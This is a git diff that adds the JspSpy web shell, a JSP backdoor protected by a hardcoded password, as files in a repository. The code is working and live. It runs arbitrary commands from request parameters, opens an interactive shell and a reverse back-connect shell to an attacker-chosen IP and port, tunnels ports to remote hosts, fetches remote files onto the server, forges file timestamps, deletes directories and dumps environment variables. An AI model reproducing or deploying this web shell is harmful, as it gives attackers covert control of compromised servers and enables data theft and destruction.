+BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path)));
+outs.write(content,0,content.length());
+outs.close();
+JSession.setAttribute(MSG,"Save File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VEditPropertyInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String filepath = request.getParameter("filepath");
+File f = new File(filepath);
+if (!f.exists())
+return;
+String read = f.canRead() ? "checked=\"checked\"" : "";
+String write = f.canWrite() ? "checked=\"checked\"" : "";
+String execute = f.canExecute() ? "checked=\"checked\"" : "";
+Calendar cal = Calendar.getInstance();
+cal.setTimeInMillis(f.lastModified());
+
+out.println("
        "+
+"
        "+
+"
        Set File Property »
        "+
+"
        Current file (fullpath)
        "+
+" "+
+"
        Read: "+
+"   "+
+"  Write: "+
+"   "+
+"  Execute: "+
+"  "+
+"
        "+
+"
        Instead »"+
+"year:"+
+""+
+"month:"+
+""+
+"day:"+
+""+
+""+
+"hour:"+
+""+
+"minute:"+
+""+
+"second:"+
+""+
+"
        "+
+"
         
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class EditPropertyInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String f = request.getParameter("file");
+File file = new File(f);
+if (!file.exists())
+return;
+String read = request.getParameter("read");
+String write = request.getParameter("write");
+String execute = request.getParameter("execute");
+String year = request.getParameter("year");
+String month = request.getParameter("month");
+String date = request.getParameter("date");
+String hour = request.getParameter("hour");
+String minute = request.getParameter("minute");
+String second = request.getParameter("second");
+if (Util.isEmpty(read)) {
+file.setReadable(false);
+} else {
+file.setReadable(true);
+}
+if (Util.isEmpty(write)) {
+file.setWritable(false);
+} else {
+file.setWritable(true);
+}
+if (Util.isEmpty(execute)) {
+file.setExecutable(false);
+} else {
+file.setExecutable(true);
+}
+Calendar cal = Calendar.getInstance();
+cal.set(Calendar.YEAR,Integer.parseInt(year));
+cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
+cal.set(Calendar.DATE,Integer.parseInt(date));
+cal.set(Calendar.HOUR,Integer.parseInt(hour));
+cal.set(Calendar.MINUTE,Integer.parseInt(minute));
+cal.set(Calendar.SECOND,Integer.parseInt(second));
+if(file.setLastModified(cal.getTimeInMillis())){
+JSession.setAttribute(MSG,"Reset File Property Success!");
+} else {
+JSession.setAttribute(MSG,"Reset File Property Failed!");
+}
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VShell
+private static class VsInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String cmd = request.getParameter("command");
+String program = request.getParameter("program");
+if (cmd == null) cmd = "cmd.exe /c set";
+if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
+if (JSession.getAttribute(MSG)!=null) {
+Util.outMsg(out,JSession.getAttribute(MSG).toString());
+JSession.removeAttribute(MSG);
+}
+out.println(""+
+"
        "+
+"
        "+
+"
        Execute Program »
        "+
+"
        "+
+""+
+""+
+"Parameter
        "+
+""+
+"
        "+
+"
        "+
+"
        "+
+"
        Execute Shell »
        "+
+"
        "+
+""+
+""+
+"Parameter
        "+
+""+
+"
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class ShellInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String type = request.getParameter("type");
+if (type.equals("command")) {
+ins.get("vs").invoke(request,response,JSession);
+out.println("
        ");
+out.println("
        ");
+String command = request.getParameter("command");
+if (!Util.isEmpty(command)) {
+Process pro = Runtime.getRuntime().exec(command);
+BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+String s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+out.println("
        ");
+}
+} else {
+String program = request.getParameter("program");
+if (!Util.isEmpty(program)) {
+Process pro = Runtime.getRuntime().exec(program);
+JSession.setAttribute(MSG,"Program Has Run Success!");
+ins.get("vs").invoke(request,response,JSession);
+}
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DownInvoker extends DefaultInvoker{
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String path  = request.getParameter("path");
+if (Util.isEmpty(path)) 
+return;
+File f = new File(path);
+if (!f.exists()) 
+return;
+response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET));
+BufferedInputStream input = new BufferedInputStream(new FileInputStream(f));
+BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
+byte[] data = new byte[1024];
+int len = input.read(data);
+while (len != -1) {
+output.write(data,0,len);
+len = input.read(data);
+}
+input.close();
+output.close();
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VDown
+private static class VdInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String savepath = request.getParameter("savepath");
+String url = request.getParameter("url");
+if (Util.isEmpty(url))
+url = "http://www.forjj.com/";
+if (Util.isEmpty(savepath)) {
+savepath = JSession.getAttribute(CURRENT_DIR).toString();
+}
+if (!Util.isEmpty(JSession.getAttribute("done"))) {
+Util.outMsg(out,"Download Remote File Success!");
+JSession.removeAttribute("done");
+}
+out.println("
        "+
+"
        "+
+"
        Remote File DownLoad »
        "+
+"
        "+
+""+
+"Remote File URL:"+
+"  "+
+"Save Path:"+
+""+
+""+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DownRemoteInvoker extends DefaultInvoker {
+public boolean doBefore(){return true;}
+public boolean doAfter(){return true;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String downFileUrl = request.getParameter("url");
+String savePath = request.getParameter("savepath");
+if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
+return;
+URL downUrl = new URL(downFileUrl);
+URLConnection conn = downUrl.openConnection();
+BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
+BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath)));
+byte[] data = new byte[1024];
+int len = in.read(data);
+while (len != -1) {
+out.write(data,0,len);
+len = in.read(data);
+}
+in.close();
+out.close();
+JSession.setAttribute("done","d");
+ins.get("vd").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class IndexInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+ins.get("filelist").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MkDirInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String name = request.getParameter("name");
+File f = new File(name);
+if (!f.isAbsolute()) {
+String path = JSession.getAttribute(CURRENT_DIR).toString();
+if (!path.endsWith("/"))
+path += "/";
+path += name;
+f = new File(path);
+}
+f.mkdirs();
+JSession.setAttribute(MSG,"Make Directory Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MoveInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String src = request.getParameter("src");
+String target  = request.getParameter("to");
+if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
+File file = new File(src);
+if(file.renameTo(new File(target))) {
+JSession.setAttribute(MSG,"Move File Success!");
+} else {
+String msg = "Move File Failed!";
+if (file.isDirectory()) {
+msg += "The Move Will Failed When The Directory Is Not Empty.";
+}
+JSession.setAttribute(MSG,msg);
+}
+response.sendRedirect(SHELL_NAME+"?o=index");
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class RemoteDirInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String dir = request.getParameter("dir");
+File file = new File(dir);
+if (file.exists()) {
+deleteFile(file);
+deleteDir(file);
+}
+
+JSession.setAttribute(MSG,"Remove Directory Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+public void deleteFile(File f) {
+if (f.isFile()) {
+f.delete();
+}else {
+File[] list = f.listFiles();
+for (File ff:list) {
+deleteFile(ff);
+}
+}
+}
+public void deleteDir(File f) {
+File[] list = f.listFiles();
+if (list.length == 0) {
+f.delete();
+} else {
+for (File ff:list) {
+deleteDir(ff);
+}
+deleteDir(f);
+}
+}
+}
+private static class PackBatchInvoker extends DefaultInvoker{
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String files = request.getParameter("files");
+if (Util.isEmpty(files))
+return;
+String saveFileName = request.getParameter("savefilename");
+File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
+if (saveF.exists()) {
+JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
+String[] arr = files.split(",");
+for (String f:arr) {
+File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
+ZipEntry entry = new ZipEntry(pF.getName());
+zout.putNextEntry(entry);
+FileInputStream fInput = new FileInputStream(pF);
+int len = 0;
+byte[] buf = new byte[1024];
+while ((len = fInput.read(buf)) != -1) {
+zout.write(buf, 0, len);
+zout.flush();
+}
+fInput.close();
+}
+zout.close();
+JSession.setAttribute(MSG,"Pack Files Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+}
+private static class PackInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String packedFile = request.getParameter("packedfile");
+if (Util.isEmpty(packedFile))
+return;
+String saveFileName = request.getParameter("savefilename");
+File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
+if (saveF.exists()) {
+JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+File pF = new File(packedFile);
+ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
+String base = "";
+if (pF.isDirectory()) {
+zipDir(pF,base,zout);
+} else {
+zipFile(pF,base,zout);
+}
+zout.close();
+JSession.setAttribute(MSG,"Pack File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+public void zipDir(File f,String base,ZipOutputStream zout)  throws Exception {
+if (f.isDirectory()) {
+File[] arr = f.listFiles();
+for (File ff:arr) {
+String tmpBase = base;
+if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
+tmpBase += "/";
+zipDir(ff,tmpBase+f.getName(),zout);
+}
+} else {
+String tmpBase = base;
+if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
+tmpBase += "/";
+zipFile(f,tmpBase,zout);
+}
+}
+public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
+ZipEntry entry = new ZipEntry(base+f.getName());
+zout.putNextEntry(entry);
+FileInputStream fInput = new FileInputStream(f);
+int len = 0;
+byte[] buf = new byte[1024];
+while ((len = fInput.read(buf)) != -1) {
+zout.write(buf, 0, len);
+zout.flush();
+}
+fInput.close();
+}
+}
+private static class UnPackInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String savepath = request.getParameter("savepath");
+String zipfile = request.getParameter("zipfile");
+if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
+return;
+File save = new File(savepath);
+save.mkdirs();
+ZipFile file = new ZipFile(new File(zipfile));   
+Enumeration e = file.entries();   
+while (e.hasMoreElements()) {   
+ZipEntry en = (ZipEntry) e.nextElement(); 
+String entryPath = en.getName();
+int index = entryPath.lastIndexOf("/");
+if (index != -1)
+entryPath = entryPath.substring(0,index);
+File absEntryFile = new File(save,entryPath);
+if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) 
+absEntryFile.mkdirs();
+BufferedOutputStream output = null;
+BufferedInputStream input = null;
+try {
+output = new BufferedOutputStream(   
+new FileOutputStream(new File(save,en.getName())));   
+input = new BufferedInputStream(   
+file.getInputStream(en));   
+byte[] b = new byte[1024];   
+int len = input.read(b);   
+while (len != -1) {   
+output.write(b, 0, len);   
+len = input.read(b);   
+}   
+} catch (Exception ex) {
+} finally {
+try {
+if (output != null)
+output.close();
+if (input != null)
+input.close();
+} catch (Exception ex1) {
+}
+}
+}
+file.close();
+JSession.setAttribute(MSG,"Unzip File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VMapPort
+private static class VmpInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object localIP = JSession.getAttribute("localIP");
+Object localPort = JSession.getAttribute("localPort");
+Object remoteIP = JSession.getAttribute("remoteIP");
+Object remotePort = JSession.getAttribute("remotePort");
+Object done = JSession.getAttribute("done");
+
+JSession.removeAttribute("localIP");
+JSession.removeAttribute("localPort");
+JSession.removeAttribute("remoteIP");
+JSession.removeAttribute("remotePort");
+JSession.removeAttribute("done");
+
+if (Util.isEmpty(localIP))
+localIP = InetAddress.getLocalHost().getHostAddress();
+if (Util.isEmpty(localPort))
+localPort = "3389";
+if (Util.isEmpty(remoteIP))
+remoteIP = "www.forjj.com";
+if (Util.isEmpty(remotePort))
+remotePort = "80";
+if (!Util.isEmpty(done))
+Util.outMsg(out,done.toString());
+
+out.println("
        "+
+""+
+"  "+
+"  "+
+"    "+
+""+
+"
        PortMap >>
        "+
+"      
        "+
+"      "+
+"      "+
+"        "+
+"        "+
+"        "+
+"        "+
+"        "+
+"      "+
+"      "+
+"        "+
+"    "+
+"	
        Local Ip :"+
+"          "+
+"          Local Port :"+
+"          Remote Ip :"+
+"          Remote Port :"+
+"          

        "+
+"          "+
+"			"+
+"    
        "+
+"    
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//StopMapPort
+private static class SmpInvoker extends DefaultInvoker {
+public boolean doAfter(){return true;}
+public boolean doBefore(){return true;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
+server.close();
+}
+JSession.setAttribute("done","Stop Success!");
+ins.get("vmp").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MapPortInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String localIP = request.getParameter("localIP");
+String localPort = request.getParameter("localPort");
+final String remoteIP = request.getParameter("remoteIP");
+final String remotePort = request.getParameter("remotePort");
+if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
+return;
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket s = (ServerSocket)obj;
+s.close();
+}
+final ServerSocket server = new ServerSocket();
+server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
+JSession.setAttribute(PORT_MAP,server);
+new Thread(new Runnable(){
+public void run(){
+while (true) {
+Socket soc = null;
+Socket remoteSoc = null;
+DataInputStream remoteIn = null;
+DataOutputStream remoteOut = null;
+DataInputStream localIn = null;
+DataOutputStream localOut = null;
+try{
+soc = server.accept();
+remoteSoc = new Socket();
+remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
+remoteIn = new DataInputStream(remoteSoc.getInputStream());
+remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
+localIn = new DataInputStream(soc.getInputStream());
+localOut = new DataOutputStream(soc.getOutputStream());
+this.readFromLocal(localIn,remoteOut);
+this.readFromRemote(soc,remoteSoc,remoteIn,localOut);
+}catch(Exception ex)
+{								
+break;
+}
+}
+}
+public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
+new Thread(new Runnable(){
+public void run(){
+while (true) {
+try{
+byte[] data = new byte[100];
+int len = localIn.read(data);
+while (len != -1) {
+remoteOut.write(data,0,len);
+len = localIn.read(data);
+}
+}catch (Exception e) {
+break;
+}
+}
+}
+}).start();
+}
+public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
+new Thread(new Runnable(){
+public void run(){
+while(true) {
+try{
+byte[] data = new byte[100];
+int len = remoteIn.read(data);
+while (len != -1) {
+localOut.write(data,0,len);
+len = remoteIn.read(data);
+}
+}catch (Exception e) {
+try{
+soc.close();
+remoteSoc.close();
+}catch(Exception ex) {
+}
+break;
+}
+}
+}
+}).start();
+}
+}).start();
+JSession.setAttribute("done","Map Port Success!");
+JSession.setAttribute("localIP",localIP);
+JSession.setAttribute("localPort",localPort);
+JSession.setAttribute("remoteIP",remoteIP);
+JSession.setAttribute("remotePort",remotePort);
+response.sendRedirect(SHELL_NAME+"?o=vmp");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VBackConnect
+private static class VbcInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object ip = JSession.getAttribute("ip");
+Object port = JSession.getAttribute("port");
+Object program = JSession.getAttribute("program");
+Object done = JSession.getAttribute("done");
+JSession.removeAttribute("ip");
+JSession.removeAttribute("port");
+JSession.removeAttribute("program");
+JSession.removeAttribute("done");
+if (Util.isEmpty(ip))
+ip = request.getRemoteAddr();
+if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
+port = "4444";
+if (Util.isEmpty(program))
+program = "cmd.exe";
+if (!Util.isEmpty(done))
+Util.outMsg(out,done.toString());
+out.println("
        "+
+""+
+"  "+
+"  "+
+"    "+
+""+
+"
        Back Connect >>
        "+
+"      
        "+
+"      "+
+"      "+
+"        "+
+"        "+
+"      "+
+"      "+
+"        "+
+"    "+
+"	
        Your Ip :"+
+"          "+
+"          Your Port :"+
+"          Program To Back :"+
+"          

        "+
+"          "+
+"    
        "+
+"    
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BackConnectInvoker extends DefaultInvoker {
+public boolean doAfter(){return false;}
+public boolean doBefore(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String ip = request.getParameter("ip");
+String port = request.getParameter("port");
+String program = request.getParameter("program");
+if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
+return;
+Socket socket = new Socket(ip,Integer.parseInt(port));
+Process process = Runtime.getRuntime().exec(program);
+(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
+(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
+JSession.setAttribute("done","Back Connect Success!");
+JSession.setAttribute("ip",ip);
+JSession.setAttribute("port",port);
+JSession.setAttribute("program",program);
+response.sendRedirect(SHELL_NAME+"?o=vbc");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class JspEnvInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println(""+
+"      "+
+"        "+
+"      "+
+"    
        System Properties >>
        "+
+"          
        "+
+"            
        "+
+"            
          ");
+Properties pro = System.getProperties();
+Enumeration names = pro.propertyNames();
+while (names.hasMoreElements()){
+String name = (String)names.nextElement();
+out.println("
        • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
          • ");
+}
+out.println("
        System Environment >>
          ");
+Map envs = System.getenv();
+Set> entrySet = envs.entrySet();
+for (Map.Entry en:entrySet) {
+out.println("
        • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
          • ");
+}
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class TopInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("
        "+
+""+
+"	"+
+"		"+
+"	"+
+"	"+
+"		"+
+"
        JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
        Logout | "+
+"			File Manager | "+
+"			DataBase Manager | "+
+"			Execute Command | "+
+"			Shell OnLine | "+
+"			Back Connect | "+
+"			Port Scan | "+
+"			Download Remote File | "+
+"			ClipBoard | "+
+"			Remote Control | "+
+"			Port Map | "+
+"			JSP Env "+
+"	
        ");
+if (JSession.getAttribute(MSG) != null) {
+Util.outMsg(out,JSession.getAttribute(MSG).toString());
+JSession.removeAttribute(MSG);
+} 
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VOnLineShellInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        ");
+out.println("
        Shell OnLine »

        ");
+out.println("
        "+
+"			"+
+"				"+
+"				Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+
+"			
        "+
+"			
        "+
+"				"+
+"				
        "+
+"					"+
+"					"+
+"					"+
+"					Auto Scroll"+
+"					"+
+"				
        "+
+"			"
+);
+out.println("    
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class OnLineInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String type = request.getParameter("type");
+if (Util.isEmpty(type))
+return;
+if (type.toLowerCase().equals("start")) {
+String exe = request.getParameter("exe");
+if (Util.isEmpty(exe))
+return;
+Process pro = Runtime.getRuntime().exec(exe);
+ByteArrayOutputStream outs = new ByteArrayOutputStream();
+response.setContentLength(100000000);
+response.setContentType("text/html;charset="+Charset.defaultCharset().name());
+OnLineProcess olp = new OnLineProcess(pro);
+JSession.setAttribute(SHELL_ONLINE,olp);
+new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
+new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
+new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//閿欒淇℃伅娴併
+Thread.sleep(1000 * 60 * 60 * 24);
+} else if (type.equals("ecmd")) {
+Object o = JSession.getAttribute(SHELL_ONLINE);
+String cmd = request.getParameter("cmd");
+if (Util.isEmpty(cmd))
+return;
+if (o == null)
+return;
+OnLineProcess olp = (OnLineProcess)o;
+olp.setCmd(cmd);
+} else {
+Object o = JSession.getAttribute(SHELL_ONLINE);
+if (o == null)
+return;
+OnLineProcess olp = (OnLineProcess)o;
+olp.stop();
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+
+static{
+ins.put("script",new ScriptInvoker());
+ins.put("before",new BeforeInvoker());
+ins.put("after",new AfterInvoker());
+ins.put("deleteBatch",new DeleteBatchInvoker());
+ins.put("clipboard",new ClipBoardInvoker());
+ins.put("vRemoteControl",new VRemoteControlInvoker());
+ins.put("gc",new GcInvoker());
+ins.put("vPortScan",new VPortScanInvoker());
+ins.put("portScan",new PortScanInvoker());
+ins.put("vConn",new VConnInvoker());
+ins.put("dbc",new DbcInvoker());
+ins.put("executesql",new ExecuteSQLInvoker());
+ins.put("vLogin",new VLoginInvoker());
+ins.put("login",new LoginInvoker());
+ins.put("filelist", new FileListInvoker());
+ins.put("logout",new LogoutInvoker());
+ins.put("upload",new UploadInvoker());
+ins.put("copy",new CopyInvoker());
+ins.put("bottom",new BottomInvoker());
+ins.put("vCreateFile",new VCreateFileInvoker());
+ins.put("vEdit",new VEditInvoker());
+ins.put("createFile",new CreateFileInvoker());
+ins.put("vEditProperty",new VEditPropertyInvoker());
+ins.put("editProperty",new EditPropertyInvoker());
+ins.put("vs",new VsInvoker());
+ins.put("shell",new ShellInvoker());
+ins.put("down",new DownInvoker());
+ins.put("vd",new VdInvoker());
+ins.put("downRemote",new DownRemoteInvoker());
+ins.put("index",new IndexInvoker());
+ins.put("mkdir",new MkDirInvoker());
+ins.put("move",new MoveInvoker());
+ins.put("removedir",new RemoteDirInvoker());
+ins.put("packBatch",new PackBatchInvoker());
+ins.put("pack",new PackInvoker());
+ins.put("unpack",new UnPackInvoker());
+ins.put("vmp",new VmpInvoker());
+ins.put("vbc",new VbcInvoker());
+ins.put("backConnect",new BackConnectInvoker());
+ins.put("jspEnv",new JspEnvInvoker());
+ins.put("smp",new SmpInvoker());
+ins.put("mapPort",new MapPortInvoker());
+ins.put("top",new TopInvoker());
+ins.put("vso",new VOnLineShellInvoker());
+ins.put("online",new OnLineInvoker());
+}
+%>
+<%
+try {
+String o = request.getParameter("o");
+if (!Util.isEmpty(o)) {
+Invoker in = ins.get(o);
+if (in == null) {
+response.sendRedirect(SHELL_NAME+"?o=index");
+} else {
+if (in.doBefore()) {
+String path = request.getParameter("folder");
+if (!Util.isEmpty(path))
+session.setAttribute(CURRENT_DIR,path);
+ins.get("before").invoke(request,response,session);
+ins.get("script").invoke(request,response,session);
+ins.get("top").invoke(request,response,session);
+}
+in.invoke(request,response,session);
+if (!in.doAfter()) {
+return;
+}else{
+ins.get("bottom").invoke(request,response,session);
+ins.get("after").invoke(request,response,session);
+}
+}
+} else {
+response.sendRedirect(SHELL_NAME+"?o=index");
+}					
+} catch (Exception e) {
+ByteArrayOutputStream bout = new ByteArrayOutputStream();
+e.printStackTrace(new PrintStream(bout));
+session.setAttribute(CURRENT_DIR,SHELL_DIR);
+Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
        "),"left");
+bout.close();
+out.flush();
+ins.get("bottom").invoke(request,response,session);
+ins.get("after").invoke(request,response,session);
+}
+%>
\ No newline at end of file
diff --git a/jsp/JspSpyJDK51.jsp b/jsp/JspSpyJDK51.jsp
new file mode 100644
index 0000000..a08fc0a
--- /dev/null
+++ b/jsp/JspSpyJDK51.jsp
@@ -0,0 +1,2323 @@
+锘<%@page pageEncoding="utf-8"%>
+<%@page import="java.io.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.util.regex.*"%>
+<%@page import="java.sql.*"%>
+<%@page import="java.nio.charset.*"%>
+<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
+<%@page import="java.text.*"%>
+<%@page import="java.net.*"%>
+<%@page import="java.util.zip.*"%>
+<%@page import="java.awt.*"%>
+<%@page import="java.awt.image.*"%>
+<%@page import="javax.imageio.*"%>
+<%@page import="java.awt.datatransfer.DataFlavor"%>
+<%@page import="java.util.prefs.Preferences"%>
+<%!
+/**
+* Code By Ninty
+* Date 2009-12-17
+* Blog http://www.Forjj.com/
+* Yue . I Love You.
+*/
+private static final String PW = "ninty"; //password
+private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
+private static final String REQUEST_CHARSET = "ISO-8859-1";
+private static final String PAGE_CHARSET = "UTF-8";
+private static final String CURRENT_DIR = "currentdir";
+private static final String MSG = "SHOWMSG";
+private static final String PORT_MAP = "PMSA";
+private static final String DBO = "DBO";
+private static final String SHELL_ONLINE = "SHELL_ONLINE";
+private static String SHELL_NAME = "";
+private static String WEB_ROOT = null; 
+private static String SHELL_DIR = null;
+public static Map ins = new HashMap();
+private static class MyRequest extends HttpServletRequestWrapper {
+public MyRequest(HttpServletRequest req) {
+super(req);
+}
+public String getParameter(String name) {
+try {
+String value = super.getParameter(name);
+if (name == null)
